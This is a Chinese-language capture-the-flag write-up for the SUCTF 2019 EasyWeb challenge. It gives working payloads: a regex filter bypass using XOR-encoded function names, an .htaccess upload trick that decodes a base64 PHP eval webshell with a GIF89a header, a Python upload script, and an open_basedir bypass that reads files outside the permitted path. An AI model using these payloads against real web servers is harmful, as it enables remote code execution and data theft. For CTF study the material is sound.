[SUCTF 2019]EasyWeb
打开环境是一段代码,其中if ( preg_match(’/[\x00- 0-9A-Za-z’"`~_&.,|=[\x7F]+/i’, $hhh) )这个判断是难点,它的绕过可以参考这篇文章https://www.h3399.cn/201909/723646.html
然后配合${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo,可以执行一些函数,还有就是文件上传绕过,参考链接https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/ .htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。这时有两个办法:
这里的php是7.2的版本,无法使用
来绕过对<?的检测 ps: 可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass 我们这里的解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.a"
shell.ahhh:
GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==
这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则,使用其他的文件头也是可以的贴一个上传的脚本
```php
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://3a861592-1ffb-49d1-9989-280c54e73e23.node4.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
得到路径,访问这里可以用蚁剑链接发现不能直接访问根目录,用插件该插件可在蚁剑的插件市场中下载,得到flag 看了其他师傅的wp,还有另一种解(应该是主流解) 绕过open_basedir/disable_function
open_basedir是php.ini中的一个配置选项 它可将用户访问文件的活动范围限制在指定的区域, 假设open_basedir=/home/wwwroot/home/web1/:/tmp/, 那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。 注意用open_basedir指定的限制实际上是前缀,而不是目录名。 举例来说: 若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的。 所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。 构造payload:cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/')); payload:cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print(readfile('/THis_Is_tHe_F14g'));
|